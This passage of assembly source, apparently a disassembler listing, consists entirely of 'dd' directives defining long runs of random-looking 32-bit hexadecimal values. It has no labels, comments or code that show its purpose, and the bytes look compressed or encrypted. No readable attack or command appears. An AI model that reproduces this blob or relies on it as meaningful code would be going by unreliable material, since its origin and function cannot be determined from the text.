dd 99DF0BD2h, 0CE103CFh, 52734235h, 1921FAD0h, 72A4DB09h
dd 0ABD0E2Eh, 0E0E8EDCh, 6D2320E7h, 957EF4h, 9D6BFE4h
dd 0B461692Eh, 937AF90Eh, 240C20BCh, 39CAA9FBh, 6E00EB75h
dd 5972FCD8h, 0B57F25F5h, 21BD7B1Dh, 5C034070h, 5ACB4CA2h
dd 0CEB31800h, 0A7742986h, 0AA320400h, 548B77D2h, 6EF7000Fh
dd 4E576C3Dh, 7228AB1Eh, 0A16E05Bh, 7C04152Ch, 0EA00D51Bh
dd 1A14E73Ah, 3C325426h, 7FE5AB81h, 66E12D85h, 4A017836h
dd 4F5BDA44h, 893C0CC5h, 25B030F2h, 0FEE7400h, 17C90B05h
dd 0BF5B2CC8h, 96CE8F64h, 48098AC0h, 4E000D65h, 0FD821CF3h
dd 415D8Ch, 0D7D48990h, 0BA190B7Bh, 0E000F27Ah, 24D8E4C8h
dd 18483694h, 7065A32Ch, 0DD133A5Bh, 880BF0CFh, 2D4F8079h
dd 1EF5A1E0h, 0A5CD1Dh, 0E1F38568h, 790AF087h, 202D5448h
dd 430A8F70h, 52EA002Eh, 0D83F117Ch, 5E7D95h, 0D1ED7E92h
dd 4DC5D9A1h, 69992303h, 0F8425A72h, 679C0FDBh, 0C10870DCh
dd 0F03FBAEAh, 490CCD4Dh, 10843A01h, 90DC5894h, 0A22F6D06h
dd 709830B0h, 4070DE1Ah, 0E47067F0h, 0D029606Fh, 0F0225457h
dd 78BC5D85h, 4C1FB900h, 6A385F39h, 967F9801h, 0C85CEB8Fh
dd 85A2B473h, 7EE96C30h, 0FE800009h, 0F775CDAh, 0A8A0F034h
dd 79C0BD68h, 63EF1F44h, 0FA00C85h, 0ED20F4ACh, 0F679B8B9h
dd 839B518h, 834780DCh, 8CFB5DC9h, 1C524835h, 61C8EA01h
dd 803C959Ah, 150B0710h, 6C87CBh, 8EA2A168h, 0A3F936C3h
dd 18DEB3Ch, 34D3603Ah, 10D0BA11h, 3D5D0035h, 68E47A56h
dd 0A9006C58h, 2B09879Bh, 0ECCC6h, 88927991h, 0F1DCAC1Bh
dd 8CF46602h, 8A9217Eh, 4C18DC04h, 7110B0B3h, 6D2501A6h
dd 0CE5AF5B7h, 978080A9h, 4CF351F7h, 369B0348h, 33F88BFFh
dd 8DE2921h, 0AC90056Eh, 423E8484h, 2AED9A2h, 0C027EE2Eh
dd 3C6288B8h, 401E8691h, 4D26430Dh, 0C89071C7h, 0B000201Eh
dd 0DD9AE4D6h, 151DB4h, 3E62024Eh, 73C23334h, 0E0AB4C00h
dd 63D6D09Bh, 0D3800DFh, 758EA47Bh, 0B000A6DEh, 81C56559h
dd 5B97E137h, 14BA0E5h, 8C346000h, 0C87D8479h, 0FD3D000Ah
dd 5F865482h, 4D004F9Eh, 9CC4BBEEh, 6E8D50h, 0E69179D0h
dd 5B080339h, 58E7A700h, 713AA4E5h, 5DC50047h, 0D4DA8E2Ah
dd 360B99E9h, 8527C49Dh, 0C0406D05h, 35A2F33Bh, 171D3A24h
dd 8A80B4BCh, 933EBB43h, 41E60B2Ah, 0D0944F00h, 8FC6ED6Eh
dd 21801E04h, 7EA9401Ch, 9E33DA87h, 7B01A2F6h, 227890D4h
dd 46FC1121h, 3D598D6h, 0AADAB975h, 8008B6E0h, 3DD1B62h
dd 8D787AB0h, 8703C4C0h, 0D4062F00h, 0B48C822h, 935E1DA9h
dd 0B89EDD19h, 810CA400h, 0F7E244ECh, 0B0035372h, 0C1E05B8Dh
dd 4151D8CCh, 821900C8h, 0A098CB47h, 4838D31Eh, 0EAFE80C9h
dd 942ED197h, 0B62B00BFh, 0DC30455Bh, 5E60FC42h, 77CA3210h
dd 3D491F37h, 3D9C053h, 0B14FE02Ch, 598BA503h, 168DBA5Ah
dd 1D650E74h, 0E7A84004h, 0BEE886FFh, 5EF80600h, 0F44B4CE5h
dd 1B283E3Bh, 0A1205603h, 0F2A8746Dh, 77024FC1h, 3505FE9h
dd 9A848095h, 7E3901Bh, 0B17F411Eh, 0A97703Fh, 0B90068A8h
dd 7074780Eh, 357B82h, 56FF50AFh, 0F92E4801h, 0B5C80F00h
dd 0D9F58881h, 1CDFA75h, 0F2B762C1h, 0D40FBF9Bh, 4907471Ah
dd 57A9ECBCh, 0E3590E10h, 3EF50033h, 0E689B3E2h, 2800CE8Bh
dd 0AAC209DDh, 0A38C24h, 0B6106DF5h, 1256818Ah, 51005974h
dd 0B2FFB51Ah, 12CB3D87h, 3C7AE44h, 0D0F2242Bh, 0D84CD187h
dd 8868702Fh, 21085900h, 2B338ADDh, 71620086h, 8B22C105h
dd 9100A2F0h, 0D568A615h, 70DCB0AEh, 9C600024h, 948A9DC9h
dd 29005451h, 0F4BE4130h, 1AC77Ah, 0D38DB4F8h, 0E320384Ah
dd 34CD1600h, 0F756EB53h, 0E63A07FCh, 518937E1h, 0E46FB3EAh
dd 4201AB66h, 81A02B3Bh, 0FC207DCFh, 7B150E2Dh, 3EA0F55Bh
dd 0E039B418h, 28002698h, 16D2A057h, 0CDB1BFh, 0BD738602h
dd 6A532713h, 6CBAC00h, 0A7811B30h, 65C200D2h, 9D47897Dh
dd 2A00E0D7h, 0AD4F3880h, 1CC6BE23h, 804C7225h, 12CF2FBBh
dd 0A1002A17h, 3786A966h, 48538Dh, 7025DEEFh, 4383ECCEh
dd 0F4874D00h, 1ACF36E9h, 9EED014Ch, 233BBC78h, 0C4D8CB48h
dd 5500A633h, 0C99DCB7Ch, 3EE77E3Eh, 9801A041h, 9305BCD5h
dd 1A09DC22h, 373B8D00h, 74B72681h, 1911009Ah, 0BBF36159h
dd 5100CB2Eh, 639FC97Ch
dd 3048434h, 0A2EEC215h, 5EC04ABEh, 0FA0050AAh, 32B49658h
dd 2AC16h, 1749ADC9h, 5F1BA8A6h, 7487D101h, 5765DC4Ch
dd 77ED29F8h, 5989007Ch, 0A1BA4BBFh, 2767462h, 164EC400h
dd 655B35CCh, 8F870007h, 45156450h, 0C487F1Eh, 73582C37h
dd 0FD49E401h, 43D8BAFCh, 243F3C9Eh, 8F3CCE00h, 0F78271E0h
dd 566B5D00h, 7A4C481Bh, 1C78015Eh, 0B81026Fh, 0F88FE0EDh
dd 0D42F8500h, 7BBD0DDCh, 0C8AD006Ah, 0F4741BFh, 5E2CAC15h
dd 5200D679h, 847B24A2h, 4BC21DF7h, 4AFB809Ch, 0E41B8BB4h
dd 0D912E805h, 52C1B648h, 0F4DC4699h, 0A3BE1816h, 3C14A8F7h
dd 0D28E7814h, 56A50CA8h, 486F3072h, 0F71D9099h, 0F2BD00C4h
dd 607068F1h, 50819400h, 0A07859B6h, 1AB20066h, 491F7B46h
dd 4C0786B4h, 0F3BDDDC4h, 0ABD069C0h, 0A5EA01A2h, 1456F4Bh
dd 601080AAh, 885754F0h, 70F70725h, 94115C9Dh, 0AB4880C4h
dd 731C14AAh, 43037492h, 0E8327CB7h, 5C84EA46h, 0C50EF3Ch
dd 0E52A07D4h, 90977682h, 7985FCCBh, 0B11CD300h, 8B1B7513h
dd 6C020056h, 0F7BC88BDh, 311F8D3Eh, 5DC5E425h, 0A818E12h
dd 0A77087C4h, 2E200044h, 323C03F6h, 8A000B36h, 55978180h
dd 0C641B5h, 573C0B9h, 6D7A1507h, 57EFB300h, 6B5E72A9h
dd 3C100B4h, 0FD9CC290h, 91001CE7h, 6A86D147h, 0F6318035h
dd 0AF4B00B6h, 9CFE2472h, 0BA0E3F11h, 67E6B533h, 2390C68Bh
dd 48293061h, 0D2001A4Fh, 40F55FBBh, 7300F622h, 2006726Fh
dd 7589C68h, 0CCEBDAEDh, 23F960D4h, 0BA0016F0h, 9F22B169h
dd 5BEEBDh, 0F46B3599h, 7A911F37h, 93D46802h, 80321C4Dh
dd 9ECC9CC5h, 85F600EEh, 7ED9F90Fh, 560088ACh, 0E9EDE398h
dd 0BF6335h, 850BE048h, 0FFCC2694h, 70E380FCh, 411DAE09h
dd 7000B08Bh, 0EC1F2512h, 30BF60B8h, 0DEFDA82Bh, 0A6CE7403h
dd 0A8917E32h, 921502Eh, 5517F349h, 0D5B99C87h, 94DEC0C9h
dd 85E00A20h, 5FEC6900h, 103DF284h, 0EE6D0075h, 64241F9Ah
dd 7A909252h, 0E0B2A024h, 535D9000h, 8C033Ch, 0FFF5CE9Eh
dd 0C86EF158h, 6AAA60E7h, 638B400h, 0A3664CAFh, 8F7EAAh
dd 1E447A03h, 2D3A4114h, 0BB0B6200h, 29AFAEF8h, 6BC10091h
dd 0EC144A2Ch, 123041E4h, 0F53AD99Ah, 0D42F50C6h, 53D50285h
dd 0C7580366h, 142540D5h, 0EE9300EAh, 0CEF70DA0h, 0DF30E484h
dd 25553042h, 0EACC9837h, 0AD8E00DEh, 0C7AA866Dh, 8400385Dh
dd 78D0C52Fh, 76A6FC68h, 809B189Ah, 96F33875h, 3EB72000h
dd 533067B1h, 0DFED146Bh, 7AEC49h, 327B8646h, 9D877013h
dd 2527BD0Fh, 51F6A29Eh, 75A44031h, 8BCF00A0h, 5F7EB5D4h
dd 160098DBh, 21DD72FDh, 4A4C735h, 0E39D77E7h, 0D9D4C087h
dd 3D3A8F5Fh, 80A0FB4Bh, 7A50C34Fh, 0C8009734h, 67913824h
dd 304B3CF6h, 0BB295361h, 22003132h, 90571DE6h, 236D0Eh
dd 8F49ACA9h, 0E9606A41h, 0ABCFC104h, 18C2BB3Bh, 0F84C4858h
dd 8F660608h, 3AE63579h, 1C01A17Dh, 83A5C171h, 0F1703965h
dd 4C9192h, 62BE8C55h, 7AF29F20h, 0DFA45A0Fh, 0DC944Ah
dd 0CD7C5279h, 630390h, 0A5085FF3h, 2946CAE7h, 2300ABECh
dd 914E688h, 0B63E17h, 0F6B5F91Eh, 5954E777h, 0E8E1B801h
dd 0AB55BCA2h, 7F48960h, 1E640F17h, 30A4F0E5h, 36B07035h
dd 25B39200h, 0A718F88Eh, 0C120FABh, 370D7Bh, 0B55E7DB9h
dd 4E7E7158h, 13529C3Eh, 28001A34h, 29D28D44h, 873A0020h
dd 50A2D565h, 0EF095DF1h, 0D5BE54E0h, 6D3BED00h, 0CB00DD36h
dd 1972D5CAh, 0DC39DB5Ah, 4979C038h, 0FBB47F24h, 78FA320Eh
dd 0D2DA037h, 8021B9h, 0E48AA0AAh, 0BD1D94A2h, 0D74B9528h
dd 3E0F27FEh, 8092A7F9h, 0ED719A70h, 0FE406C2h, 602DEFFAh
dd 2CC88301h, 138785F4h, 921020h, 0E9B20FFDh, 4F8401AAh
dd 0ECD00600h, 9B2BCFA8h, 904E245Eh, 2EE100ACh, 9892BBB1h
dd 0EB5C940Bh, 0A5D48097h, 7C2FB36h, 7AF9F19Ah, 2D20AF83h
dd 0F0C6871Dh, 2C921300h, 358645D2h, 991C5C7Fh, 0EDBE12h
dd 631929E0h, 8E0024E2h, 0C3662E7Ah, 5BBA56h, 37851191h
dd 532CF7D1h, 4951B00h, 0D5F9C699h, 7B600A1h, 3AF86F78h
dd 0F012821h, 0A8AA482Fh, 3FE8B41Dh, 71E0B8h, 85514E70h
dd 0FCE2B59Ah, 79B1B75Bh, 789890FCh, 8828075Fh, 7915CA9h
dd 20FCD66Ah, 49D6D200h, 0E55D31F6h, 0B18700B3h, 0ECC00925h
dd 10F93F8h, 604AFCF2h, 908845B7h, 3760003Dh, 22E41950h
dd 0AA0070EBh, 298A6F85h, 1B31154h, 8B4DC79Bh, 0F05028F9h
dd 6A1D5F46h, 0F8C0C53Dh, 3BA713EFh, 1F34F4EEh, 1E7206h
dd 0F94BDA92h, 2FF4867Eh, 0E21F2DEEh, 0EA402749h, 454C8D4Fh
dd 7622905Ch, 93C70088h, 5E51063Fh, 900469Dh, 822A533Eh
dd 0E348F17h, 0C63304D8h, 5893B280h, 4A1627EBh, 3400BAAFh
dd 9F41A383h, 64F104DEh, 847895C1h, 0CACB0h, 6CA4D55Ah
dd 0D1C09Bh, 0D0713FA8h, 0B33A1306h, 4478C403h, 0E3191AA6h
dd 0FEDEA835h, 0EB072CE8h, 4D7E00EBh, 3795BA41h, 9A2941Dh
dd 0B57A3183h, 0CA5B8050h, 913A006Fh, 75BC60B7h, 0E20003E1h
dd 0CBEFC4A6h, 30F0A452h, 2AF0843Bh, 0C200BC33h, 43ABB69Fh
dd 0EF3AFBEh, 811A2488h, 1C935121h, 8E17CCA2h, 0C8032F71h
dd 432BA092h, 0C5E80058h, 0CC055DE5h, 62000228h, 2049BD85h
dd 84F13Fh, 0A6803EA2h, 2E0825ABh, 0B0A0D3E8h, 35008EA9h
dd 79907820h, 0E23F9Fh, 157E6D0Dh, 0B22C9C3Eh, 51FE0F00h
dd 481BDC24h, 0F2AB852h, 0F6C7D97Fh, 0D14F11C0h, 59F239A0h
dd 0E5F4B103h, 7865250h, 0CE014E50h, 0CBF7E0E9h, 0D1008C04h
dd 0A7308346h, 872E1Ah, 7BB8836h, 90AA7120h, 8A7D0807h
dd 1E802777h, 76368Ch, 0D77A1A49h, 53BE0F8Fh, 61005090h
dd 5B97995h, 275D9D01h, 2F012B7Eh, 0D056A974h, 0AA0123DDh
dd 360DED49h, 5680A085h, 185F28C6h, 0F6E86CDEh, 3A16D903h
dd 0A13ECC9Eh, 0C8427599h, 17F0E088h, 1C63301Dh, 18AC67F8h
dd 9E722700h, 787064DDh, 0C8680077h, 8AFBA212h, 320FE338h
dd 409182AFh, 95DFC318h, 74FC00F9h, 2471291Bh, 4A00E299h
dd 565352C1h, 58689Fh, 0B7E0B830h, 0EAFBB5B0h, 0A6DFB200h
dd 0F7765006h, 0AC75018Bh, 306F158Dh, 0EDD320E7h, 0BAAA6303h
dd 0A8DF947Eh, 0DEEAE0h, 5845F938h, 2A9C4C64h, 0F000447Eh
dd 0BCBF7E35h, 0F44785h, 0A1B3E677h, 0A9FEFB7h, 0E10CC507h
dd 1080368Ah, 0FCD19D26h, 92A8061Ch, 1839705Ah, 3B52AB00h
dd 4BACDD01h, 56AE0734h, 40BCA53Ah, 0CCF12012h, 2599F200h
dd 539D1438h, 1DE861h, 71E815CEh, 49C93DC6h, 85A49E14h
dd 0BB2200B0h, 0AA763A3Bh, 49D4EC83h, 0A1007C78h, 1B2EB901h
dd 0EB001A94h, 0A4B78660h, 0C028AB3Fh, 55ADF738h, 7C925E45h
dd 6A0A970Fh, 7801B2F4h, 0AD1F68C7h, 0ED751E0Ch, 0B0774892h
dd 33572F0Eh, 0F52860EBh, 419F0CBh, 0E15549B5h, 0AC24805Ch
dd 6E1E7156h, 7F0EC797h, 0FD638169h, 54305FFBh, 84BD2002h
dd 1CA95444h, 8060D74Bh, 0FD0EFE67h, 0C0AF7F0h, 0FC799F6Fh
dd 0B7163E03h, 0FE5280EDh, 0BFE2003Ch, 0EED53AF1h, 25000D45h
dd 4DD14A78h, 788C9642h, 415D038Eh, 0ABD7931h, 0A4EB18F0h
dd 0A4AF4Ch, 973CC093h, 2360AEh, 4719FAA2h, 968FA12Bh
dd 0A6C84400h, 3265B6F2h, 0C340E793h, 7024685h, 4EF7FB90h
dd 0A0704013h, 953B20D9h
dd 0EF03777Dh, 2BFE0D8Ch, 0B6B7E84Ah, 662D2C45h, 0EF48008h
dd 86B991C9h, 42214900h, 6AD7DBCh, 8198982Eh, 52D47683h
dd 1177009Fh, 33C7D8BAh, 0AA02ADBDh, 0CB370F24h, 326C60A7h
dd 0F42D0F83h, 0B9A0193Ah, 3705F003h, 4B2A9E00h, 8AA741A8h
dd 56CF00D7h, 9F030F87h, 7300070Bh, 9C35CB9Bh, 0ED3A70h
dd 3340D530h, 0FE717C24h, 22954803h, 0E85CA0C3h, 0B3364Dh
dd 2532BE37h, 0D3F7B29Dh, 8D510B00h, 95CD98E3h, 30988Eh
dd 6E3B5B7Dh, 0EA885072h, 0EC82BD00h, 303ECF56h, 3CF8D3h
dd 4F4023C3h, 94DFA666h, 0EF030E00h, 48746B5Dh, 7C7B39h
dd 0AA844399h, 0AB8B686Eh, 0EC022B07h, 6CC0F050h, 0EE48CBC3h
dd 0E4A2003Fh, 5B42F929h, 450072C9h, 2B60CC67h, 6BBC64h
dd 34C7E452h, 9298BB07h, 3861830Eh, 9160E010h, 0F06A4Ch
dd 762C6E8Bh, 2A7DAA72h, 6762CA01h, 0B7BD4F15h, 34D24E4h
dd 0FD885FBFh, 19DB5EF5h, 9C1C0DA0h, 374C0FB8h, 76D100A2h
dd 578486DBh, 55F60710h, 20582F9Fh, 93224A62h, 3FE73700h
dd 955F4F79h, 3EDE4EBh, 17674D99h, 0B2703540h, 0F3439707h
dd 7B07DD3h, 1FC46E88h, 5665174h, 0C09BD161h, 33E39871h
dd 0CD04AD2Ch, 5D9B001h, 0EEF314C3h, 8D022890h, 6AC20318h
dd 52C47BE5h, 7EA06FA3h, 28CF9C85h, 5AC870D1h, 6C00F4BAh
dd 6A35D967h, 165595h, 8F5192C9h, 70637F5Ah, 3901F877h
dd 0A737359Dh, 0B9C0203Fh, 187A0FC7h, 6AC3053Ah, 8BF048A4h
dd 235002ADh, 8250FC34h, 0DC036A54h, 284CE3A2h, 75782BDEh
dd 831F9078h, 0A07BA7FDh, 22571941h, 4631854Ch, 43E2D1A5h
dd 9BF9288Eh, 0EF9AD2C2h, 100F4140h, 0C4005078h, 8FDF5EF3h
dd 36C2DA2h, 0EA341201h, 74A8189Eh, 7F0058C8h, 90048B81h
dd 0D6411Ah, 3B7DB60Ch, 694E0397h, 1B8A138h, 0AA0A9277h
dd 60CEC3DFh, 0F7604F3h, 0EA3E3316h, 60A800D6h, 0EFD40A2h
dd 0C388201h, 0B6E4134Fh, 8E7CF0h, 0AB910F6Fh, 0ACEC6983h
dd 9C014AEAh, 0F5A29A4Dh, 16301DDCh, 0D670081h, 4ABA5B64h
dd 21005913h, 35A55A79h, 35FEC5Ch, 0CE8BEF1Bh, 65A8B8F9h
dd 700766Ah, 0A134817h, 1A544BEh, 0AD736BBDh, 0CC1855EAh
dd 0E000DF3Eh, 0EEA086A7h, 805453h, 0FA23A9Dh, 0CFEC65F6h
dd 0E1F311C0h, 84DD4Eh, 8DA191E5h, 0E646867Ch, 0BD0F100h
dd 4C3AFEAAh, 0D2740092h, 0A6A8503h, 560ECEEFh, 43503BC3h
dd 7C843018h, 8604AF51h, 10A713E1h, 15C9CA07h, 5FF0A07Fh
dd 1A3A426h, 0F95D3DC5h, 0C862E19Fh, 87196C4Bh, 329132Ch
dd 5B447308h, 6510844Eh, 37117E01h, 1D2C2127h, 83122BAh
dd 271B5114h, 26895F08h, 5D6F1441h, 25CF5188h, 2D67900h
dd 0F7A875h, 40AFED34h, 0FCC990DAh, 39820D00h, 1AA6B820h
dd 0CF8B00BAh, 6B79C2E7h, 0B09806CBh, 705D0526h, 29C7300h
dd 2C52DEh, 0E60FB9A8h, 7EB677A9h, 0C9F22851h, 8188EB1h
dd 0B34427EEh, 6A92E1B0h, 3BBD008Dh, 0A429E9D1h, 85287236h
dd 0F030FCB2h, 0F63090ACh, 98F8B7h, 0A6A9BDD4h, 0ECA32088h
dd 639B4E14h, 0B27000F6h, 0DA465B9Eh, 906900ABh, 8561B848h
dd 0B381843h, 349E007Bh, 620439D2h, 0A16C0364h, 4B26FEC5h
dd 0D4F2B780h, 1E8BBB02h, 40FAAB73h, 1F01AFh, 2614A340h
dd 7DC21CDFh, 0C1756F00h, 494BD5F6h, 0E20FF2C9h, 761A00E3h
dd 56031CCCh, 58245D47h, 0A0000CA6h, 0D9E2841Bh, 28EE2E49h
dd 0EF240016h, 3F14C2B1h, 7EA5653Bh, 0C33DFC7Fh, 68B48E21h
dd 6D30E3E6h, 9AF2F880h, 0E940001Ah, 2DC727A4h, 5900671Fh
dd 0A1FC989Fh, 329922h, 0E1812A39h, 51C8A478h, 0B896D400h
dd 71F85C73h, 7CD3BF0h, 0B9CB160Ch, 0E407BF19h, 78A391A1h
dd 30FC3E00h, 53CE173Ch, 0D1CC00B7h, 8119B1Ah, 5E683200h
dd 0F46B55A8h, 0CFA6122Bh, 0DEBC40A9h, 0F7597898h, 0DBD8AB00h
dd 0F137DF6Ch, 3DFB74A2h, 0E481F6D6h, 0B0648508h, 0EB20CCA8h
dd 6E013F77h, 0DF53274Fh, 0ECC4A7A6h, 0F5ED00B0h, 7D81B929h
dd 1E010FCEh, 0C222F239h, 80608E77h, 50DC009Ch, 78287953h
dd 0E9003314h, 0CE9F6989h, 77757Fh, 1E2BCC6Ah, 0B2B52E09h
dd 8030B13Ah, 0D03DD905h, 7E8BF9h, 72F7CFD5h, 0C93AC35Ch
dd 0FD0BD200h, 16486966h, 0EB43018Ah, 0FBEA3D39h, 0DABF5Fh
dd 0FC05DB51h, 3BD53CC4h, 9280E77Ah, 0A13DEFCCh, 0DA71D37Fh
dd 86A98700h, 44C8CA4Dh, 0ACF60064h, 0C382AE73h, 0B005443h
dd 7D98F56Ch, 786F4A0h, 3AF01E3Eh, 5F343064h, 9E14ED4Ah
dd 80466Fh, 175262BAh, 50396426h, 7123FDF5h, 0BDD80061h
dd 24DD27Bh, 0B9E22D32h, 0D41A9300h, 24ACC74Eh, 38840081h
dd 0EA82832Ah, 7B71BFB7h, 0C5FD0D00h, 8E87C0C4h, 0A35C141Eh
dd 7602E403h, 4C9B37Eh, 263C87C0h, 0B95B2F00h, 0ABB08DA9h
dd 63DF1D9Dh, 16E68039h, 3614B122h, 96922713h, 44598800h
dd 0F402D450h, 877A001Eh, 61E96ED0h, 9000FECDh, 4049F199h
dd 0A9BB304h, 0C1F3771h, 0A752018Fh, 0C4844EDBh, 0B502D44Ah
dd 0B17278E6h, 6FF441EFh, 574DD0h, 88749F64h, 34DFE1E5h
dd 4BB99003h, 0D863AF3Eh, 0FA3D9115h, 0C1A30032h, 0E6B30A03h
dd 5400E211h, 0B5923849h, 19948F4h, 7245098Fh, 0C0F6B6FCh
dd 41FE766Eh, 5B9B8E01h, 0F0772E9Ah, 7D6960h, 12092F37h
dd 96A32672h, 76C55E00h, 332BB34Fh, 0B2CB0EA1h, 0D8207D8Eh
dd 0DA0F5CBBh, 0D05B9301h, 48C1F682h, 3DF5A8F8h, 5080989Eh
dd 16426751h, 3D76A3E1h, 0D6749000h, 0F04C402Bh, 393C0711h
dd 102A5905h, 0AA23CC49h, 5403D879h, 76EC27FCh, 7A80064h
dd 0C181E4C6h, 0B0308B9Dh, 53FDD0E5h, 4C4D00B9h, 0BCF70197h
dd 0A70086E1h, 7BD408FAh, 0DD2A07h, 5C32441Dh, 0EE13995Fh
dd 16EBF00h, 8B606658h, 12FA1E7Bh, 0C2F700F2h, 28FC4815h
dd 0AB62000h, 62C6E997h, 704C00F8h, 49F3C545h, 3814B93Bh
dd 7A848C1Ah, 58EBB403h, 0F9B61FB2h, 33F05527h, 4D3000F5h
dd 52760567h, 9300B013h, 1F6F5380h, 330350h, 0CEAA5CC3h
dd 98602F71h, 57002270h, 7E2DAB12h, 499CE094h, 6A240437h
dd 0DE9C3BA9h, 0C59B4FB2h, 73995A80h, 3C002988h, 0AAAF64C1h
dd 65769Fh, 72C280B0h, 336754BCh, 0DF36A00h, 41834084h
dd 0B42D52FCh, 1FCE40h, 0A91CE2A7h, 215F1932h, 288C4931h
dd 0DCD4B553h, 0D62400D9h, 0C9721CF4h, 381EBCE9h, 9A80FF52h
dd 365503C2h, 93A01B6h, 3F8272B3h, 808ED07Eh, 1D49510Fh
dd 0C3FE673Eh, 0E9C9B173h, 0F0802430h, 5FAF973Fh, 0CAF89E64h
dd 707E7501h, 87E339C6h, 0B98BE30h, 94A45972h, 0EBC26380h
dd 9B3881E2h, 3F6D804Ch, 0F507174Ah, 53AF007Bh, 232270C3h
dd 9000D33Ah, 1EC5F1B6h, 1D143CE9h, 8046442Fh, 0E1A121A8h
dd 9A3A8528h, 0D64800D0h, 80ED4D84h, 106F0F4Bh, 401F2F4Fh
dd 0AC412B53h, 6A000C8Bh, 372C1D9Ah, 450498h, 212E74D3h
dd 794BB872h, 0DCE2F0C1h, 0C208DC4h, 0FEC7950h, 51EB2FC9h
dd 94E3FE20h, 0C0C0CDD0h, 3267C720h, 0CEB90031h, 40E2CA7Ch
dd 20901DEDh, 0C5842B00h, 680398A1h, 440A0F85h, 0ED40C696h
dd 842B8EAh, 0E4D1B000h, 4FA91D9h, 5ACA0E37h, 0B880C3EBh
dd 0B210F6A5h, 99479804h, 288030C1h, 0FE4524FBh, 267601F7h
dd 76E25B6h, 6D7CC0A1h, 0E47E4304h, 0F0803FD6h, 3D78AB1Fh
dd 2F004001h, 1159FD6Bh
dd 0F2002CA5h, 0B2D035C0h, 70A6CABEh, 210900E6h, 0DD25FD68h
dd 98A8A10Dh, 0B32E8193h, 56004226h, 34A91FD1h, 3AAD00DFh
dd 0C2B2D67Dh, 0F63E8133h, 0DDBD8093h, 7B9EA6F0h, 0DA3800ABh
dd 0EECA7A77h, 0D800B58Bh, 24ECFF39h, 0A1731Ch, 4E4C6557h
dd 32DC7EEDh, 91807660h, 0CCA0D0h, 19C5A62Fh, 5E69DD55h
dd 0F307837Ah, 0A521AA9Bh, 7202D07Ah, 8F9D13F8h, 1F7300DCh
dd 0CA9EF1h, 0EB3C5D88h, 0F23E375Ah, 0B8E7A04h, 0F702CC86h
dd 0C1407459h, 0A0491B18h, 3B5200A8h, 0F72C70A2h, 0E8146117h
dd 4029773Eh, 7D0C5DCh, 60B6500h, 2F314D4Fh, 3F791C61h
dd 8B6BC3C1h, 0FE80E1FAh, 5C4C4ABCh, 62850090h, 17F5F605h
dd 0C5183ABDh, 0E0F675h, 51B867B6h, 69F8D557h, 2AA18C02h
dd 0C3BB8A1Ah, 9E4E88F2h, 35800142h, 2041F274h, 0DEC3D8AEh
dd 93279202h, 8008948Eh, 0BF9A8FACh, 0C87C09D0h, 1800C483h
dd 0AED36AB9h, 6F5B7500h, 0C03BC548h, 0ADE8C095h, 4BDB9E39h
dd 7F8E68C0h, 946924h, 9A097465h, 0D668FB7Ch, 0E0BD9207h
dd 80456A28h, 18B18844h, 0ED3A6B80h, 4B300089h, 0BACDE1D8h
dd 8E071BDFh, 3DC84333h, 29FA2410h, 0B86A0030h, 2592D99h
dd 7D98E848h, 0E4B70500h, 0C7DD3E2Eh, 9CBB5435h, 26630FB0h
dd 2D80A1E2h, 0CE53395Fh, 0FDC2281Dh, 48299E00h, 0F321763Eh
dd 0A8C3E243h, 24EE5EA9h, 88FA1h, 0FC6F0879h, 0FA02FBB1h
dd 4C217326h, 597B4093h, 0C2A100CCh, 8F95B62Dh, 1226ECA4h
dd 0DF802CACh, 8DC1C690h, 947C00D3h, 0B1EB013Eh, 0BC9024D2h
dd 3958F413h, 0FAA1D801h, 0FBC4326Fh, 6EA601E4h, 22BF4692h
dd 24A03062h, 88930100h, 116D5580h, 263F7F83h, 1DE4BB0Fh
dd 9C1D0E4Dh, 5974B920h, 0C407A20Ch, 0F13CC60h, 826140A0h
dd 38941F02h, 0CD3782D0h, 704073AFh, 0C6B01528h, 4547E02h
dd 0E45A0829h, 99F4161Ch, 0C0A81D64h, 20796585h, 7490AE4Fh
dd 4B2DE500h, 8312F3BEh, 44193C9Bh, 4502A060h, 7E284041h
dd 0AC00A088h, 540E51BBh, 1F5D89h, 90ADEB2Ah, 2417304Dh
dd 0EDA53600h, 0FEC16FC8h, 0C9C61ED4h, 8A97430Dh, 0EB987EA9h
dd 0B0056D6h, 18F14D52h, 0CF9BF26h, 1FBA6EB0h, 790197A0h
dd 1C2C770h, 58706F62h, 13650148h, 0E52545A2h, 0A813DB4Eh
dd 83054BEDh, 5CC47CA7h, 5C924EC5h, 5051E0E8h, 0BAD1023Ch
dd 0B6F4201Dh, 4712B080h, 2C00B70Fh, 3A7EEE42h, 601EBDE3h
dd 41936882h, 595C45F8h, 28711D48h, 3964E280h, 72A9E1h
dd 0A5C41B94h, 0CE8567BFh, 4C9E9902h, 0C04B2F82h, 0E0379410h
dd 0B063711Ch, 0CC7116A6h, 251C406Ah, 0A5DE8DEFh, 1DF848C1h
dd 0B0766E1Ch, 49C8B100h, 2A7A9CCFh, 8481C0EDh, 0C7045200h
dd 14DF2E68h, 6135268Eh, 0C30E4560h, 42813608h, 5AFE403Eh
dd 0FB00E945h, 0DC980A15h, 3AD53F9h, 3CDD4D5Bh, 50E0A548h
dd 0F0D35502h, 20573C4Fh, 1458CA4Dh, 3DE8B7h, 1DCC6F66h
dd 4C0D7CABh, 0E92FEC1Ch, 93B9F40h, 2E8EBD1Fh, 7D00723Fh
dd 0B4C0EE10h, 0A9B3635Ch, 0BAE0E601h, 20F37AC3h, 0E986C8h
dd 0CF2D3BD3h, 82C95CDAh, 8097723Fh, 554DC734h, 48AF949Ah
dd 8033C8Bh, 0AA4E2C5Ch, 0B01CF0BFh, 651290A1h, 0B00EE48h
dd 69B7804Dh, 0A49467h, 0EAC10CD0h, 8A013E2Ch, 742E3B4Bh
dd 0E040F298h, 0EC8BBEh, 0F3BF539Dh, 0F79254EBh, 0B46FD8B0h
dd 15342120h, 11BDD8A8h, 0A296B181h, 240AB0F0h, 0FD046630h
dd 2A5537D2h, 83346081h, 0C4EC512h, 42325500h, 56EB30D0h
dd 367C26D5h, 7BB50089h, 0A4703E80h, 0B943C100h, 0E74A21D6h
dd 86648B7h, 802EE51Dh, 0FD3DCAAh, 307F77C5h, 16F5B512h
dd 727580Bh, 0C0C0B25Ch, 0C36AA0h, 0DEBBCF8Bh, 2613047Ch
dd 603EE500h, 278947FAh, 0C6E1004Fh, 5E64DC78h, 0DB0063E6h
dd 528C2516h, 0EC46481Ah, 0D9842667h, 5C3900CBh, 0A33D4D09h
dd 0F20B0801h, 27AED6A9h, 0D06080C5h, 75B113DAh, 1D284794h
